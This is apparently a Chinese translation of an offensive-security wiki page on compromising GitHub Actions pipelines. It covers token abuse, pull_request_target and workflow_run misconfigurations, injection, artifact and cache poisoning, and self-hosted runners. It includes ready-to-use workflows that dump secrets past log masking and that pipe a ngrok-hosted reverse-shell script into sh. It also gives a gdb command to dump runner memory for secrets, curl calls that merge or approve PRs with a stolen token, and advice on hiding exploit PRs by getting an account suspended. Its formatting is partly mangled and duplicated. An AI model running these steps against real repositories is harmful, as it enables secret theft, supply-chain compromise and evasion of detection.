Basic Information
在此页面中,您将找到:
攻击者成功访问 Github Action 的所有影响的摘要
最后,关于从内部滥用操作的后期利用技术 的部分(导致上述影响)
Impacts Summary
有关 Github Actions 的介绍,请查看基本信息 。
如果您可以在仓库 中执行任意代码 ,您可能能够:
窃取秘密 ,并滥用管道的权限 以获得对外部平台(如 AWS 和 GCP)的未授权访问。
如果管道部署或存储资产,您可以更改最终产品,从而启用供应链攻击。
在自定义工作者中执行代码 以滥用计算能力并横向渗透到其他系统。
覆盖仓库代码 ,具体取决于与 GITHUB_TOKEN
相关的权限。
GITHUB_TOKEN
这个“秘密 ”(来自 ${{ secrets.GITHUB_TOKEN }}
和 ${{ github.token }}
)是在管理员启用此选项时提供的:
此令牌与Github 应用程序使用的令牌相同 ,因此可以访问相同的端点:https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
Github 应该发布一个 流程 ,允许跨仓库 访问 GitHub,以便一个仓库可以使用 GITHUB_TOKEN
访问其他内部仓库。
您可以在以下位置查看此令牌的可能权限 :https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
请注意,令牌在作业完成后会过期 。
这些令牌看起来像这样:ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
您可以使用此令牌做一些有趣的事情:
Merge PR 批准 PR 创建 PR
Copy # Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'
Copy # Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
Copy # Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
请注意,在多个情况下,您将能够在 Github Actions 环境或秘密中找到 github 用户令牌 。这些令牌可能会让您对存储库和组织拥有更多权限。
在 Github Action 输出中列出秘密```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
通过秘密获取反向 shell```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
可以通过检查日志 来查看其他用户仓库中给予Github Token的权限:
允许的执行
这将是妥协Github actions的最简单方法,因为这种情况假设您有权在组织中创建新仓库 ,或对某个仓库有写权限 。
如果您处于这种情况,您可以查看后期利用技术 。
从仓库创建执行
如果组织的成员可以创建新仓库 并且您可以执行github actions,您可以创建一个新仓库并窃取在组织级别设置的秘密 。
从新分支执行
如果您可以在已经配置了Github Action的仓库中创建新分支 ,您可以修改 它,上传 内容,然后从新分支执行该操作 。这样您可以提取仓库和组织级别的秘密 (但您需要知道它们的名称)。
您可以在手动 、创建PR时 或推送某些代码时 使修改后的操作可执行(具体取决于您想要多么引人注目):
Copy on :
workflow_dispatch : # Launch manually
pull_request : #Run it when a PR is created to a branch
branches :
- master
push : # Run it when a push is made to a branch
branches :
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
Forked Execution
有不同的触发器可以让攻击者执行另一个仓库的Github Action 。如果这些可触发的操作配置不当,攻击者可能会利用它们。
pull_request
工作流触发器**pull_request
将在每次收到拉取请求时执行工作流,但有一些例外:默认情况下,如果这是您 第一次进行 协作**,某些维护者 需要批准 工作流的运行 :
由于默认限制 适用于首次 贡献者,您可以通过修复有效的错误/拼写错误 来贡献,然后发送其他PR以滥用您新的 pull_request
权限 。
我测试过,这不行 :另一个选项是创建一个与曾经为该项目贡献的人同名的账户,然后删除他的账户。
此外,默认情况下防止写权限 和对目标仓库的秘密访问 ,如文档 中所述:
除了GITHUB_TOKEN
,在从 forked
仓库触发工作流时,秘密不会传递给运行器 。在来自forked repositories 的拉取请求中,GITHUB_TOKEN
具有只读权限 。
攻击者可以修改Github Action的定义,以执行任意操作并附加任意操作。然而,由于上述限制,他将无法窃取秘密或覆盖仓库。
是的,如果攻击者在PR中更改将被触发的github action,他的Github Action将被使用,而不是来自原始仓库的!
由于攻击者还控制着被执行的代码,即使在GITHUB_TOKEN
上没有秘密或写权限,攻击者也可以例如上传恶意工件 。
pull_request_target
工作流触发器**pull_request_target
对目标仓库具有 写权限和 对秘密的访问**(并且不需要请求权限)。
请注意,工作流触发器**pull_request_target
在 基础上下文中运行,而不是在PR提供的上下文中(以 不执行不受信任的代码**)。有关pull_request_target
的更多信息,请查看文档 。
此外,关于这种特定危险用法的更多信息,请查看这篇github博客文章 。
看起来因为执行的工作流 是定义在基础 而不是在PR 中的,所以使用**pull_request_target
是 安全的**,但有少数情况是这样 。
而且这个将具有对秘密的访问 。
workflow_run
workflow_run 触发器允许在另一个工作流完成
、请求
或进行中
时运行工作流。
在这个例子中,配置了一个工作流,在单独的“运行测试”工作流完成后运行:
Copy on :
workflow_run :
workflows : [ Run Tests ]
types :
- completed
此外,根据文档:由 workflow_run
事件启动的工作流能够 访问秘密和写入令牌,即使之前的工作流没有 。
如果这种工作流 依赖于 可以通过 pull_request
或 pull_request_target
被外部用户 触发 的 工作流 ,则可能会受到攻击。几个脆弱的例子可以在 这篇博客中找到 . 第一个例子是 workflow_run
触发的工作流下载攻击者的代码:${{ github.event.pull_request.head.sha }}
第二个例子是 将 来自 不受信任 代码的 artifact 传递到 workflow_run
工作流,并以使其 易受 RCE 攻击 的方式使用该 artifact 的内容。
workflow_call
TODO
TODO:检查从 pull_request 执行时使用/下载的代码是否来自原始或分叉的 PR
滥用分叉执行
我们已经提到外部攻击者可以使 GitHub 工作流执行的所有方式,现在让我们看看这些执行如果配置不当,可能会被滥用的情况:
不受信任的检出执行
在 pull_request
的情况下,工作流将在 PR 的上下文中 执行(因此它将执行 恶意 PR 的代码 ),但需要有人 先授权 ,并且它将运行时有一些 限制 。
如果工作流使用 pull_request_target
或 workflow_run
,并依赖于可以从 pull_request_target
或 pull_request
触发的工作流,则将执行原始仓库中的代码,因此 攻击者无法控制执行的代码 。
然而,如果 action 有一个 显式的 PR 检出 ,将 从 PR 获取代码 (而不是从基础),它将使用攻击者控制的代码。例如(检查第 12 行,其中下载了 PR 代码):
Copy # 不安全。仅作为示例提供。
on :
pull_request_target
jobs :
build :
name : Build and test
runs-on : ubuntu-latest
steps :
- uses : actions/checkout@v2
with :
ref : ${{ github.event.pull_request.head.sha }}
- uses : actions/setup-node@v1
- run : |
npm install
npm build
- uses : completely/fakeaction@v2
with :
arg1 : ${{ secrets.supersecret }}
- uses : fakerepo/comment-on-pr@v1
with :
message : |
Thank you!
潜在的 不受信任的代码在 npm install
或 npm build
期间被运行 ,因为构建脚本和引用的 包由 PR 的作者控制 。
一个用于搜索脆弱 actions 的 GitHub dork 是:event.pull_request pull_request_target extension:yml
,然而,即使 action 配置不安全,也有不同的方法可以安全地配置要执行的作业(例如使用关于谁是生成 PR 的参与者的条件)。
上下文脚本注入
请注意,有某些 GitHub 上下文 的值是由创建 PR 的 用户 控制 的。如果 GitHub action 使用该 数据执行任何操作 ,可能会导致 任意代码执行:
Gh Actions - Context Script Injections GITHUB_ENV 脚本注入
根据文档:您可以通过定义或更新环境变量并将其写入 GITHUB_ENV
环境文件,使 环境变量可用于工作流作业中的任何后续步骤 。
如果攻击者能够 注入任何值 到这个 env 变量中,他可以注入可以在后续步骤中执行代码的环境变量,例如 LD_PRELOAD 或 NODE_OPTIONS 。
例如(这个 和 这个 ),想象一个信任上传的 artifact 将其内容存储在 GITHUB_ENV
环境变量中的工作流。攻击者可以上传类似这样的内容来破坏它:
脆弱的第三方 GitHub Actions
正如在 这篇博客文章 中提到的,这个 GitHub Action 允许访问来自不同工作流甚至仓库的 artifacts。
问题在于,如果 path
参数未设置,artifact 将提取到当前目录,并且可能会覆盖稍后在工作流中使用或执行的文件。因此,如果 artifact 是脆弱的,攻击者可以利用这一点来破坏其他信任该 artifact 的工作流。
脆弱工作流的示例:
Copy on :
workflow_run :
workflows : [ "some workflow" ]
types :
- completed
jobs :
success :
runs-on : ubuntu-latest
steps :
- uses : actions/checkout@v2
- name : download artifact
uses : dawidd6/action-download-artifact
with :
workflow : ${{ github.event.workflow_run.workflow_id }}
name : artifact
- run : python ./script.py
with :
name : artifact
path : ./script.py
这可以通过以下工作流程进行攻击:
Copy name : "some workflow"
on : pull_request
jobs :
upload :
runs-on : ubuntu-latest
steps :
- run : echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with :
name : artifact
path : ./script.py
其他外部访问
删除的命名空间仓库劫持
如果一个账户更改了名称,其他用户在一段时间后可以注册一个相同名称的账户。如果一个仓库在更改名称之前少于 100 个星标 ,Github 将允许新注册的用户使用相同的名称创建一个与被删除的仓库同名的仓库 。
因此,如果一个操作使用来自不存在账户的仓库,攻击者仍然有可能创建该账户并妥协该操作。
如果其他仓库使用了该用户仓库的依赖项 ,攻击者将能够劫持它们。这里有一个更完整的解释:https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/
仓库转移
在本节中,我们将讨论允许从一个仓库转移到另一个仓库 的技术,假设我们在第一个仓库上有某种访问权限(请查看前一节)。
缓存中毒
在同一分支的工作流运行之间 维护一个缓存。这意味着如果攻击者妥协 了一个包 ,然后将其存储在缓存中,并被更高权限 的工作流下载 和执行,他将能够妥协 该工作流。
GH Actions - Cache Poisoning 工件中毒
工作流可以使用来自其他工作流甚至仓库的工件 ,如果攻击者设法妥协 了上传工件的 Github Action,而该工件随后被另一个工作流使用,他可以妥协其他工作流 :
Gh Actions - Artifact Poisoning 从操作后的利用
通过 OIDC 访问 AWS 和 GCP
查看以下页面:
AWS - Federation Abuse GCP - Federation Abuse 访问秘密
如果您正在向脚本中注入内容,了解如何访问秘密是很有趣的:
如果秘密或令牌被设置为环境变量 ,可以通过环境直接使用**printenv
**访问。
在 Github Action 输出中列出秘密```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Copy </details>
<details>
<summary>通过秘密获取反向 shell</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
如果秘密直接在表达式中使用 ,生成的 shell 脚本将存储在磁盘上 并可访问。
cat /home/runner/work/_temp/*
Copy * 对于 JavaScript actions,秘密通过环境变量发送
* ```bash
ps axe | grep node
对于自定义操作 ,风险可能会有所不同,具体取决于程序如何使用从参数 中获得的秘密:
Copy uses : fakeaction/publish@v3
with :
key : ${{ secrets.PUBLISH_KEY }}
滥用自托管运行器
查找在非 GitHub 基础设施中执行的 GitHub Actions 的方法是搜索 GitHub Action 配置 yaml 中的**runs-on: self-hosted
**。
自托管 运行器可能访问额外的敏感信息 ,访问其他网络系统 (网络中的脆弱端点?元数据服务?)或者,即使它是隔离和销毁的,可能会同时运行多个操作 ,恶意操作可能会窃取其他操作的秘密 。
在自托管运行器中,还可以通过转储其内存来获取来自 _Runner.Listener _** 进程** 的秘密 ,该进程将在任何步骤中包含工作流的所有秘密:
Copy sudo apt-get install -y gdb
sudo gcore -o k.dump "$( ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
查看这篇文章以获取更多信息 。
Github Docker 镜像注册表
可以创建 Github actions 来 在 Github 内部构建和存储 Docker 镜像 。
以下可找到一个示例:
Github Action 构建 & 推送 Docker 镜像```yaml [...]
name: Set up Docker Buildx uses: docker/setup-buildx-action@v1
name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}
name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
Copy </details>
正如您在之前的代码中看到的,Github 注册表托管在 **`ghcr.io`**。
具有对仓库的读取权限的用户将能够使用个人访问令牌下载 Docker 镜像:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
然后,用户可以搜索 Docker 镜像层中的泄露秘密:
Github Actions 日志中的敏感信息
即使 Github 尝试 检测秘密值 在操作日志中并 避免显示 它们,其他敏感数据 可能在操作执行过程中生成的仍然不会被隐藏。例如,使用秘密值签名的 JWT 除非 特别配置 ,否则不会被隐藏。
掩盖你的痕迹
(技术来自 这里 )首先,任何提出的 PR 在 Github 上对公众和目标 GitHub 账户都是明显可见的。在 GitHub 中,默认情况下,我们 无法删除互联网上的 PR ,但有一个转折。对于被 Github 暂停 的 GitHub 账户,所有的 PR 会自动被删除 并从互联网上移除。因此,为了隐藏你的活动,你需要让你的 GitHub 账户被暂停或被标记 。这将 隐藏你在 GitHub 上的所有活动 (基本上移除你所有的利用 PR)
GitHub 中的一个组织非常积极地向 GitHub 举报账户。你所需要做的就是在 Issue 中分享“某些东西”,他们会确保你的账户在 12 小时内被暂停 :p 这样你就可以让你的利用在 GitHub 上变得不可见。
组织发现他们被针对的唯一方法是检查 SIEM 中的 GitHub 日志,因为从 GitHub UI 中 PR 会被移除。
工具
以下工具对于查找 GitHub Action 工作流甚至查找易受攻击的工作流非常有用: